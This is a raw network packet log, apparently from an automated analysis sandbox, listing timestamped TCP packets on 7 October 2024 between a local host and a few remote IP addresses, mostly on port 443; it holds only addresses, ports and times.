Oct 7, 2024 03:04:04.259805918 CEST	443	49807	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.261959076 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.262006998 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.262073040 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.262161970 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.262177944 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.468429089 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.472080946 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.472115040 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.472518921 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.472522974 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.567812920 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.567975998 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.568077087 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.568252087 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.568272114 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.568283081 CEST	49809	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.568288088 CEST	443	49809	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.570797920 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.570877075 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.570966959 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.571103096 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.571126938 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.868130922 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.868834019 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.868845940 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.869394064 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.869399071 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.901786089 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.902142048 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.902163029 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.902527094 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.902533054 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.902637005 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.902864933 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.902882099 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.903196096 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.903202057 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.933782101 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.934266090 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.934314013 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.934710979 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.934739113 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.969953060 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.970026016 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.970133066 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.970351934 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.970370054 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.970382929 CEST	49810	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.970387936 CEST	443	49810	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.973175049 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.973191977 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:04.973273039 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.973438978 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:04.973458052 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.002667904 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.002727985 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.002793074 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.002923012 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.002945900 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.002964973 CEST	49813	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.002970934 CEST	443	49813	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.003762007 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.003845930 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.003892899 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.003952980 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.003964901 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.003978968 CEST	49812	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.003983974 CEST	443	49812	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.005172968 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.005202055 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.005280972 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.005441904 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.005455971 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.005781889 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.005868912 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.005951881 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.006037951 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.006076097 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.038539886 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.038676023 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.038868904 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.038868904 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.038868904 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.040801048 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.040884972 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.040999889 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.041130066 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.041169882 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.222704887 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.223486900 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.223521948 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.223978996 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.223983049 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.325133085 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.325288057 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.325390100 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.325560093 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.325577021 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.325588942 CEST	49814	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.325593948 CEST	443	49814	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.328743935 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.328788042 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.328875065 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.329087973 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.329097033 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.349180937 CEST	49811	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.349215984 CEST	443	49811	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.612953901 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.613670111 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.613755941 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.614362955 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.614417076 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.614924908 CEST	49724	80	192.168.2.4	93.184.221.240
Oct 7, 2024 03:04:05.620073080 CEST	80	49724	93.184.221.240	192.168.2.4
Oct 7, 2024 03:04:05.620313883 CEST	49724	80	192.168.2.4	93.184.221.240
Oct 7, 2024 03:04:05.643874884 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.644458055 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.644476891 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.644912958 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.644917965 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.654292107 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.654987097 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.655076027 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.655172110 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.655186892 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.711122990 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.711260080 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.711385965 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.711741924 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.711788893 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.711819887 CEST	49815	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.711836100 CEST	443	49815	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.714772940 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.714859962 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.714967966 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.715151072 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.715178967 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.721914053 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.722744942 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.722805977 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.723112106 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.723167896 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.742217064 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.742299080 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.742383957 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.742824078 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.742836952 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.742862940 CEST	49816	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.742867947 CEST	443	49816	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.745450020 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.745477915 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.745604992 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.745923042 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.745934963 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.755894899 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.755942106 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.756115913 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.756203890 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.756203890 CEST	49817	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.756246090 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.756278038 CEST	443	49817	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.758759975 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.758804083 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.759013891 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.759314060 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.759340048 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.878571033 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.878722906 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.878794909 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.879097939 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.879097939 CEST	49818	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.879132032 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.879156113 CEST	443	49818	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.882678986 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.882720947 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.882811069 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.883100986 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.883111000 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.974438906 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.974953890 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.974977970 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:05.975589037 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:05.975593090 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.073787928 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.073858976 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.073910952 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.074122906 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.074134111 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.074146986 CEST	49819	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.074151039 CEST	443	49819	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.076848984 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.076889038 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.076997042 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.077126026 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.077177048 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.397356987 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.397939920 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.397969007 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.398500919 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.398510933 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.437149048 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.437571049 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.437607050 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.438138008 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.438150883 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.445081949 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.445523024 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.445554972 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.446036100 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.446063995 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.495992899 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.496078968 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.496139050 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.496299028 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.496314049 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.496329069 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.496335983 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.499066114 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.499113083 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.499205112 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.499335051 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.499346018 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.524091959 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.524502993 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.524525881 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.525058985 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.525069952 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.542687893 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.542735100 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.542813063 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.542834044 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.542859077 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.542932987 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.542984962 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.542984962 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.543016911 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.543040991 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.545620918 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.545663118 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.545757055 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.545867920 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.545890093 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.557248116 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.557305098 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.557399988 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.557600975 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.557600975 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.557621956 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.557635069 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.559998989 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.560050011 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.560156107 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.560282946 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.560303926 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.623866081 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.623918056 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.623980999 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.624001026 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.624043941 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.624097109 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.624157906 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.624177933 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.624207020 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.624238014 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.626895905 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.626920938 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.626992941 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.627116919 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.627126932 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.718512058 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.719013929 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.719042063 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.719616890 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.719629049 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.822093964 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.822148085 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.822293043 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.822304964 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.822392941 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.822805882 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.822825909 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.822850943 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.822863102 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.826148033 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.826234102 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:06.826481104 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.826602936 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:06.826633930 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.137955904 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.138756037 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.138765097 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.139159918 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.139164925 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.201689959 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.202301025 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.202440023 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.202460051 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.202728033 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.202754021 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.202852011 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.202857971 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.203361034 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.203366995 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237271070 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237304926 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237376928 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.237387896 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237440109 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237490892 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.237843037 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.237859011 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.237871885 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.237878084 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.241434097 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.241518021 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.241616011 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.241791010 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.241815090 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.265279055 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.267545938 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.267569065 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.268157005 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.268162012 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.300975084 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.301130056 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.301321983 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.301353931 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.301367044 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.301388025 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:07.301393986 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.302705050 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:07.302941084 CEST	443	49826	13.107.246.60	192.168.2.4
